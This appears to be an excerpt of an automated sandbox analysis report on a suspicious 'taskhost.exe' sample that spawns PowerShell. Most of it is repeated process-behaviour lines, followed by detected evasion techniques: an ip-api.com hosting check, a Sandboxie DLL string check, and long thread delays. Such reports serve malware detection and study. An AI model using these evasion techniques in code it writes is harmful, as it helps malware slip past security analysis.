Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Check if machine is in data center or colocation facility

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: taskhost.exe	Binary or memory string: SBIEDLL.DLLIGH9SD0X38DOLMAACAI2G5JNNJREYZAYI4NGWIAHYKUSJREGEOAATGELBUFSLSJRGDJKMCQFMHI4WIHOEH42ANMLA2CTR6KAIXGB3KFQ6N7EA0BINWP9CVL2XSTYGMLD7A5DET6MQX73KDRSACMJI9PXD5YLCL8U4NTA68MUBSFBKCY0RNLGWPRGSIAR8XG8D7VHUPJQQL54OTCMIV0PUUKBCI2Z0ZIZ7EPKWTJAVINZFH5AQHNEUZOP8EJUMSCXIV6I7XFHAGZPEXJKYCGBN3ZQJVS1XTSK2LXVVN4QIXZCGVLFKW3LGYYF9D095ZJRDLJI3ANZG4KKPIL7PFBJDGXPW4GOLXITXW15R6DZIA5IYEGYZAI9ZESGC6CX8FO1NIBDSTFDR4O8WBJKFTCNAG3ILFO2YJ7YWSRKCKGB65KTMVUBH1YUINFQPC0TIGWRTMRZTKTACIMRACVLZRFNTVYP0QNNHLXL2IGGJFFD248VS7K7PAKCPS5LUW8UNQS99SPRMZIV6THMCUEZ7CEPQSRYL4DJ1UL97DFMJIXL76AINFO
Source: taskhost.exe, 00000000.00000002.2545878344.0000000002D52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\taskhost.exe	Memory allocated: 1040000 memory reserve \| memory write watch			Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Memory allocated: 1AD40000 memory reserve \| memory write watch			Jump to behavior

Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 599546	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 599326	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 599006	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 598823	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 598515	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 598122	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 597999	Jump to behavior
Source: C:\Users\user\Desktop\taskhost.exe	Thread delayed: delay time: 597890	Jump to behavior
